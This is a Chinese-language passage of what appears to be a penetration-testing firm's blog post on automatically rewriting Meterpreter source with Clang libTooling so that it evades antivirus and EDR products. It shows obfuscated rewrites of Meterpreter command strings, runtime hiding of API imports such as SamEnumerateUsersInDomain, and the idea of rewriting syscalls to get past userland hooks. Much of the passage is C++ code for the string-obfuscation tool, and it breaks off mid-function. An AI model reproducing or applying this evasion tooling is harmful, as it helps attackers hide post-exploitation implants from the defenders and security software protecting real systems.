前言
此文章記錄了我們對(duì)殺毒軟件某些方面的研究,以及我們?nèi)绾卧O(shè)法自動(dòng)重構(gòu)Meterpreter以繞過(guò)我們所遇到的每個(gè)AV / EDR。 雖然下面詳細(xì)介紹了每種技術(shù)的思想和字符串混淆過(guò)程的實(shí)現(xiàn),但我們決定在以后的文章中發(fā)布有關(guān)API導(dǎo)入隱藏/系統(tǒng)調(diào)用重寫的詳細(xì)信息,以使此內(nèi)容盡可能簡(jiǎn)短。 源代碼位于https://github.com/scrt/avcleaner
大多數(shù)公司通常采取防御措施來(lái)保護(hù)其信息系統(tǒng)免受攻擊,在這些措施中,殺毒軟件或EDR等安全軟件通常是必不可少的工具集。盡管過(guò)去幾年來(lái)繞過(guò)任何類型的惡意軟件檢測(cè)機(jī)制非常容易,但如今這樣做無(wú)疑需要付出更多的努力。
另一方面,在POC本身被反病毒軟件阻止的情況下,與漏洞相關(guān)的風(fēng)險(xiǎn)交流變得更具有挑戰(zhàn)性。盡管理論上可以說(shuō)有可能繞過(guò)檢測(cè)并保留它,但實(shí)際上這樣做可能會(huì)增加強(qiáng)度。
鑒于此,需要能夠繞過(guò)殺毒軟件。使事情稍微復(fù)雜化的是,在SCRT,我們盡可能地使用公開可用的開源代碼工具,以展示我們的工作可以被任何熟練使用它們的人復(fù)制,并且不依賴于昂貴的私人工具。
問(wèn)題現(xiàn)狀
現(xiàn)在的社區(qū)通常喜歡將任何防病毒的檢測(cè)機(jī)制歸類為靜態(tài)或動(dòng)態(tài)。通常,如果在惡意軟件執(zhí)行之前觸發(fā)了檢測(cè),則將其視為一種靜態(tài)檢測(cè)。但是,值得一提的是,殺軟也可以在惡意軟件執(zhí)行期間調(diào)用靜態(tài)檢測(cè)機(jī)制(例如簽名),以響應(yīng)諸如進(jìn)程創(chuàng)建,內(nèi)存中文件下載等事件。無(wú)論如何,如果我們想對(duì)任何類型的安全軟件使用舊的Meterpreter,我們都必須對(duì)其進(jìn)行修改,使其滿足以下要求:
在文件系統(tǒng)掃描或內(nèi)存掃描時(shí),繞過(guò)任何靜態(tài)簽名。繞過(guò)“行為檢測(cè)”,這種行為通常與繞過(guò)用戶界面API hooking有關(guān)。
但是,Meterpreter包含幾個(gè)模塊,整個(gè)代碼庫(kù)總計(jì)約700’000行代碼。此外,它會(huì)不斷更新,這意味著運(yùn)行項(xiàng)目的私有分支肯定會(huì)導(dǎo)致擴(kuò)展性很差。簡(jiǎn)而言之,我們需要一種自動(dòng)轉(zhuǎn)換代碼庫(kù)的方法。
解決方案
經(jīng)過(guò)多年繞過(guò)防病毒軟件的實(shí)際經(jīng)驗(yàn),我們發(fā)現(xiàn)惡意軟件檢測(cè)幾乎都是基于字符串,API hooks或兩者的結(jié)合。
即使對(duì)于實(shí)施機(jī)器學(xué)習(xí)分類的產(chǎn)品(例如Cylance),一個(gè)沒有字符串,API導(dǎo)入和可掛鉤API調(diào)用的惡意軟件也可以像足球射門一樣穿過(guò)Sergio Rico的防御網(wǎng)絡(luò)。
Meterpreter具有成千上萬(wàn)個(gè)字符串,不會(huì)以任何方式隱藏API導(dǎo)入,并且可以使用用戶界面API hook輕松攔截敏感的API,例如WriteProcessMemory。 因此,我們需要以自動(dòng)化的方式對(duì)此進(jìn)行補(bǔ)救,這將產(chǎn)生兩個(gè)潛在的解決方案:
源到源代碼重構(gòu)LLVM在編譯時(shí)混淆代碼庫(kù)。
顯然,后者將是首選方法,這是許多流行的研究得出相同的結(jié)論。 主要原因是,轉(zhuǎn)換遍歷可以只編寫一次,而可以獨(dú)立于軟件的編程語(yǔ)言或目標(biāo)體系結(jié)構(gòu)重復(fù)使用。

但是,這樣做需要有用Visual Studio以外的編譯器編譯Meterpreter的能力。盡管我們已于2018年12月發(fā)布了一些更改工作,但在一年多之后,正式代碼庫(kù)的采用仍然是一個(gè)需要持續(xù)的過(guò)程。
同時(shí),我們已決定不顧一切成本的實(shí)施第一種方法。在對(duì)源代碼重構(gòu)的最新技術(shù)進(jìn)行了徹底的回顧之后,libTooling(Clang / LLVM工具鏈的一部分)似乎是解析C / C ++源代碼并對(duì)其進(jìn)行修改的唯一可行的選擇。
注意:由于代碼庫(kù)高度依賴Visual Studio,因此Clang無(wú)法解析Metepreter的很大一部分。但是,仍然有可能以一半的概率繞過(guò)目標(biāo)防病毒軟件。在這里,我們可能遇到源到源轉(zhuǎn)換相對(duì)于編譯時(shí)轉(zhuǎn)換的唯一優(yōu)勢(shì):那就是編譯時(shí)轉(zhuǎn)換要求整個(gè)項(xiàng)目進(jìn)行編譯而沒有任何錯(cuò)誤。而源到源轉(zhuǎn)換可以允許成千上萬(wàn)的編譯錯(cuò)誤。而你只會(huì)得到一個(gè)不完整的抽象語(yǔ)法樹,這非常好。
字符串混淆
在C / C ++中,字符串可能位于許多不同的上下文中。 libTooling并不是一個(gè)足夠好的工具,因此我們應(yīng)用了帕雷托法則(也即二八定律),將研究范圍限制在Meterpreter代碼庫(kù)中最可疑的字符串出現(xiàn)的代碼上:
函數(shù)參數(shù)列表初始化
函數(shù)參數(shù)
例如,我們知道,在以下情況下,ESET Nod32將標(biāo)記字符串ntdll為可疑:
ntdll = LoadLibrary(TEXT("ntdll"))
但是,用以下方式重寫此代碼段將成功繞過(guò)檢測(cè):
wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)
在看不見的幕后,第一個(gè)代碼片段使字符串ntdll存儲(chǔ)在生成的二進(jìn)制文件的.rdata段內(nèi),并且防病毒程序很容易發(fā)現(xiàn)該字符串。 第二個(gè)片段是字符串在運(yùn)行時(shí)存儲(chǔ)在堆棧中,并且在通常情況下與代碼在靜態(tài)上無(wú)法區(qū)分。 IDA Pro或替代產(chǎn)品通常能夠識(shí)別字符串,但它們也需要對(duì)二進(jìn)制文件運(yùn)行更高級(jí)且計(jì)算量更大的分析。
列表初始化
在Meterpreter的代碼庫(kù)中,可以在幾個(gè)文件中找到這種構(gòu)造,例如在c/meterpreter/source/extensions/extapi/extapi.c 中:
Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}
這些字符串以明文形式存儲(chǔ)在ext_server_espia.x64.dll的.rdata節(jié)中,并由ESET Nod32進(jìn)行選擇。
更糟糕的是,這些字符串是位于列表初始化程序中的宏的參數(shù)。 這引入了很多棘手的案例,但這些案例并不需要關(guān)心。我們的目的是自動(dòng)重寫此代碼段,如下所示:
char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};
Command customCommands[] =
{
COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
COMMAND_TERMINATOR
};
隱藏API導(dǎo)入
調(diào)用由外部庫(kù)導(dǎo)出的函數(shù)會(huì)使鏈接器向?qū)氲刂繁?IAT)寫入一個(gè)條目。 最終函數(shù)名稱將在二進(jìn)制文件中以明文形式顯示,因此在無(wú)需執(zhí)行惡意文件的情況下,可以靜態(tài)恢復(fù)函數(shù)名。 當(dāng)然,有些函數(shù)名稱相比其他名稱更可疑。 一個(gè)更明智的做法是隱藏所有可疑二進(jìn)制文件,同時(shí),保留大多數(shù)合法二進(jìn)制文件中存在的文件。
例如,在Metepreter的kiwi擴(kuò)展中,可以找到以下行:
enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
該函數(shù)由samlib.dll導(dǎo)出,因此鏈接器會(huì)使字符串samlib.dll和SamEnumerateUsersInDomain出現(xiàn)在已編譯的二進(jìn)制文件中。
要解決此問(wèn)題,可以在運(yùn)行時(shí)使用LoadLibrary/GetProcAddresss導(dǎo)入API。當(dāng)然,這兩個(gè)函數(shù)都適用于字符串,因此也必須對(duì)其進(jìn)行混淆。 因此,我們希望按如下所示自動(dòng)重寫上述代碼段:
typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
SAMPR_HANDLE DomainHandle,
PDword EnumerationContext,
DWORD UserAccountControl,
PSAMPR_RID_ENUMERATION* Buffer,
DWORD PreferedMaximumLength,
PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
Rewriting syscalls
重寫系統(tǒng)調(diào)用
默認(rèn)情況下,在運(yùn)行Cylance的計(jì)算機(jī)上使用Meterpreter的migration命令會(huì)觸發(fā)殺軟檢測(cè)(請(qǐng)謹(jǐn)慎)。 Cylance會(huì)使用用戶界面hook檢測(cè)進(jìn)程注入。 為了避開檢測(cè),可以去掉hook,這似乎是現(xiàn)在的主流趨勢(shì),或者可以完全避免使用hook。 我們發(fā)現(xiàn),讀取ntdll,恢復(fù)系統(tǒng)調(diào)用號(hào)并將其插入隨時(shí)可以調(diào)用的Shellcode中更為簡(jiǎn)單,這可以有效地繞過(guò)任何殺軟用戶區(qū)的鉤子。 迄今為止,我們尚未找到可以將從磁盤讀取的NTDLL.DLL的行為識(shí)別為可疑的藍(lán)隊(duì)。
實(shí)現(xiàn)
上述所有想法都可以在基于libtools的源代碼重構(gòu)工具中實(shí)現(xiàn)。本節(jié)說(shuō)明我們是如何做到這一點(diǎn)的,這是在時(shí)間和耐心之間的妥協(xié)。因?yàn)槿鄙賚ibtools文檔,所以此處還有改進(jìn)的空間,如果你發(fā)現(xiàn)了什么,那可能是我們希望得到的反饋。
抽象語(yǔ)法樹101
編譯器通常包括幾個(gè)組件,最常見的是解析器和詞法分析器。 當(dāng)將源代碼提供給編譯器時(shí),它首先從原始源代碼(程序員編寫的代碼)中生成一個(gè)解析樹,然后將語(yǔ)義信息添加到節(jié)點(diǎn)(編譯器真正需要的)。 此步驟的結(jié)果稱為抽象語(yǔ)法樹。 維基百科展示了以下示例:
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
這個(gè)小程序的典型AST如下所示:

在編寫需要理解其他程序?qū)傩缘某绦驎r(shí),這個(gè)數(shù)據(jù)結(jié)構(gòu)允許使用更精確的算法,因此執(zhí)行大規(guī)模代碼重構(gòu)是一個(gè)不錯(cuò)的選擇。
Clang的抽象語(yǔ)法樹
由于我們需要正確修改源代碼,因此我們需要熟悉Clang的AST。 好消息是Clang公開了一個(gè)命令行開關(guān),以漂亮的顏色轉(zhuǎn)儲(chǔ)AST。 壞消息是,對(duì)于除”玩具項(xiàng)目”以外的所有項(xiàng)目,設(shè)置正確的編譯器標(biāo)志都非常棘手。
現(xiàn)在,讓我們做一個(gè)現(xiàn)實(shí)而簡(jiǎn)單的翻譯測(cè)試單元:
#include <windows.h>
typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);
int main(void)
{
f_NtMapViewOfSection lNtMapViewOfSection;
HMODULE ntdll;
if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
{
return -1;
}
lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
return 0;
}
然后,將以下腳本插入.sh文件中:
WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"
clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"
"-I" "$CLANG_PATH/include"
"-I" "$CLANG_PATH"
"-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/um"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt"
"-fdeprecated-macro"
"-w"
"-fdebug-compilation-dir"
"-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility"
"-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"
請(qǐng)注意,WIN_INCLUDE指向一個(gè)文件夾,其中包含與Win32 API進(jìn)行交互的所有必需的標(biāo)頭。 這些是從標(biāo)準(zhǔn)Windows 10安裝中直接獲取的,為了避免讓你頭疼,我們建議你執(zhí)行相同操作,千萬(wàn)不要選擇MinGW。 然后,以需要測(cè)試的C文件作為參數(shù)來(lái)調(diào)用腳本。 雖然這會(huì)產(chǎn)生一個(gè)18MB的文件,但通過(guò)搜索我們定義的字符串之一(例如“ NtMapViewOfSection”),可以輕松導(dǎo)航到AST的有趣部分:

現(xiàn)在,我們有了一種可視化AST的方法,可以更輕易地了解如何更新節(jié)點(diǎn)才能獲得結(jié)果,同時(shí)不在結(jié)果源代碼中引入任何語(yǔ)法錯(cuò)誤。 以下各節(jié)包含與使用libTooling進(jìn)行AST操作有關(guān)實(shí)現(xiàn)的詳細(xì)信息。
ClangTool樣板
在進(jìn)入有趣的內(nèi)容之前,需要一些樣板代碼,因此需要將以下代碼插入main.cpp中:
#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"
// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"
#include "Consumer.h"
#include "MatchHandler.h"
#include <IOStream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>
namespace ClSetup {
llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}
namespace StringEncryptor {
clang::Rewriter ASTRewriter;
class Action : public clang::ASTFrontendAction {
public:
using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;
ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
llvm::StringRef Filename) override {
ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
std::vector<ASTConsumer*> consumers;
consumers.push_back(&StringConsumer);
// several passes can be combined together by adding them to `consumers`
auto TheConsumer = llvm::make_unique<Consumer>();
TheConsumer->consumers = consumers;
return TheConsumer;
}
bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
llvm::outs() << "Processing file " << 'n';
return true;
}
void EndSourceFileAction() override {
clang::SourceManager &SM = ASTRewriter.getSourceMgr();
std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
llvm::errs() << "** EndSourceFileAction for: " << FileName << "n";
// Now emit the rewritten buffer.
llvm::errs() << "Here is the edited source file :nn";
std::string TypeS;
llvm::raw_string_ostream s(TypeS);
auto FileID = SM.getMainFileID();
auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);
if(ReWriteBuffer != nullptr)
ReWriteBuffer->write((s));
else{
llvm::errs() << "File was not modifiedn";
return;
}
std::string result = s.str();
std::ofstream fo(FileName);
if(fo.is_open())
fo << result;
else
llvm::errs() << "[!] Error saving result to " << FileName << "n";
}
};
}
auto main(int argc, const char *argv[]) -> int {
using namespace clang::tooling;
using namespace ClSetup;
CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
ClangTool Tool(OptionsParser.getCompilations(),
OptionsParser.getSourcePathList());
auto Action = newFrontendActionFactory<StringEncryptor::Action>();
return Tool.run(Action.get());
}
由于該樣板代碼取自官方文檔中的示例,因此不需要再進(jìn)一步的描述。 唯一值得一提的修改是在CreateASTConsumer的內(nèi)部。 我們的最終目標(biāo)是在同一個(gè)翻譯單元上進(jìn)行多次轉(zhuǎn)換。 可以通過(guò)將項(xiàng)目添加到集合中來(lái)完成(基本行是consumers.push_back(&...);)。
字符串混淆
本節(jié)描述有關(guān)字符串混淆過(guò)程的最重要的實(shí)現(xiàn)細(xì)節(jié),包括三個(gè)步驟:
在源代碼中找到字符串。用變量替換它們?cè)谶m當(dāng)?shù)奈恢茫ò瘮?shù)或全局上下文中)插入變量定義/賦值。
在源代碼中查找字符串文字
可以如下定義StringConsumer(在StringEncryptor命名空間的開頭):
class StringEncryptionConsumer : public clang::ASTConsumer {
public:
void HandleTranslationUnit(clang::ASTContext &Context) override {
using namespace clang::ast_matchers;
using namespace StringEncryptor;
llvm::outs() << "[StringEncryption] Registering ASTMatcher...n";
MatchFinder Finder;
MatchHandler Handler(&ASTRewriter);
const auto Matcher = stringLiteral().bind("decl");
Finder.addMatcher(Matcher, &Handler);
Finder.matchAST(Context);
}
};
StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();
給定一個(gè)翻譯單元,我們可以告訴Clang在AST中找到一個(gè)模式,同時(shí)注冊(cè)一個(gè)“處理程序”以在找到匹配項(xiàng)時(shí)調(diào)用。 Clang的ASTMatcher公開的模式匹配功能非常強(qiáng)大,但在這里并未得到充分利用,因?yàn)槲覀儍H是用它來(lái)定位字符串。
然后,我們可以通過(guò)實(shí)現(xiàn)MatchHandler來(lái)解決問(wèn)題,它將為我們提供MatchResult實(shí)例。 MatchResult包含對(duì)標(biāo)識(shí)的AST節(jié)點(diǎn)的引用以及上下文信息。
接下來(lái)我們可以實(shí)現(xiàn)一個(gè)類的定義,并從clang::ast_matchers::MatchFinder::MatchCallback:繼承一些東西:
#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H
#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"
class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {
public:
using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;
MatchHandler(clang::Rewriter *rewriter);
void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.
};
#endif //AVCLEANER_MATCHHANDLER_H
在MatchHandler.cpp中,我們必須實(shí)現(xiàn)MatchHandler的構(gòu)造函數(shù)和run回調(diào)函數(shù)。 構(gòu)造函數(shù)非常簡(jiǎn)單,僅僅只需要存儲(chǔ) clang::Rewrite的實(shí)例以供以后使用即可:
using namespace clang;
MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
this->ASTRewriter = rewriter;
}
run的實(shí)現(xiàn)如下所示:
void MatchHandler::run(const MatchResult &Result) {
const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
clang::SourceManager &SM = ASTRewriter->getSourceMgr();
// skip strings in included headers
if (!SM.isInMainFile(Decl->getBeginLoc()))
return;
// strings that comprise less than 5 characters are not worth the effort
if (!Decl->getBytes().str().size() > 4) {
return;
}
climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}
上面摘錄的三段代碼中有三個(gè)點(diǎn)值得一提:
我們提取與StringEncryptionConsumer中定義的模式匹配的AST節(jié)點(diǎn)。為此,可以調(diào)用函數(shù)getNodeAs,它需要一個(gè)字符串作為參數(shù),該參數(shù)與模式綁定的標(biāo)識(shí)符相關(guān)(請(qǐng)參見const auto Matcher = stringLiteral().bind("decl")行)我們會(huì)跳過(guò)分析中沒有在翻譯單元中定義的字符串。實(shí)際上,我們的過(guò)程會(huì)在Clang的預(yù)處理程序之后進(jìn)行干預(yù),它會(huì)將包含的系統(tǒng)頭的內(nèi)容復(fù)制粘貼到翻譯單元中。然后,我們準(zhǔn)備處理字符串。 由于我們需要在上下文中找到此字符串,因此需將提取的節(jié)點(diǎn)沿著Result.Context傳遞給用戶定義的函數(shù)(在本例中為climbParentsIgnoreCast,因?yàn)槿鄙俑玫拿Q),其中包含一個(gè) 參考隨附的AST。 目標(biāo)是向上訪問(wèn)樹,直到找到有趣的節(jié)點(diǎn)。 在這種情況下,我們對(duì)CallExpr類型的節(jié)點(diǎn)感興趣。
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
clang::ASTContext *const pContext, uint64_t iterations) {
ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);
if (iterations > 0) {
parents = pContext->getParents(node);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("Cast") != std::string::npos) {
return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
}
handleStringInContext(&NodeString, pContext, parent);
}
return false;
}
簡(jiǎn)而言之,此函數(shù)以遞歸方式查找StringLiteral節(jié)點(diǎn)的父節(jié)點(diǎn),直到找到一個(gè)有趣的節(jié)點(diǎn)(非“ cast”)。 handleStringInContext也很簡(jiǎn)單:
void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
StringRef ParentNodeKind = node.getNodeKind().asStringRef();
if (ParentNodeKind.compare("CallExpr") == 0) {
handleCallExpr(pLiteral, pContext, node);
} else if (ParentNodeKind.compare("InitListExpr") == 0) {
handleInitListExpr(pLiteral, pContext, node);
} else {
llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "n";
}
}
從上面的代碼片段可以明顯看出,實(shí)際上只有兩種類型的節(jié)點(diǎn)可以處理。 如果需要,添加更多內(nèi)容也應(yīng)該很容易。 事實(shí)上,這兩種情況都已經(jīng)用類似的方式處理。
void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
const auto *FunctionCall = node.get<clang::CallExpr>();
if (isBlacklistedFunction(FunctionCall)) {
return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
}
handleExpr(pLiteral, pContext, node);
}
void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
handleExpr(pLiteral, pContext, node);
}
替換字符串
由于CallExpr和InitListExpr都可以用類似的方式處理,因此我們定義了一個(gè)公共的可用函數(shù)。
bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
clang::SourceRange LiteralRange = clang::SourceRange(
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
);
if(shouldAbort(pLiteral, pContext, LiteralRange))
return false;
std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());
if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
return false ;
Globs::PatchedSourceLocation.push_back(LiteralRange);
return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
我們隨機(jī)生成一個(gè)變量名。在最近的位置找到一些空白空間,然后插入變量聲明。 這基本上是一個(gè)ASTRewriter->InsertText()的包裝將字符串替換為在步驟1中生成的標(biāo)識(shí)符將字符串所在位置添加到集合中。 這很有用,因?yàn)樵谠L問(wèn)InitListExpr時(shí),相同的字符串將出現(xiàn)兩次(不知道為什么)。
最后一步是真正難以實(shí)現(xiàn)的一步,因此讓我們首先關(guān)注這一點(diǎn):
bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
clang::SourceRange LiteralRange,
const std::string& Replacement) {
// handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());
if (isMacro) {
StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
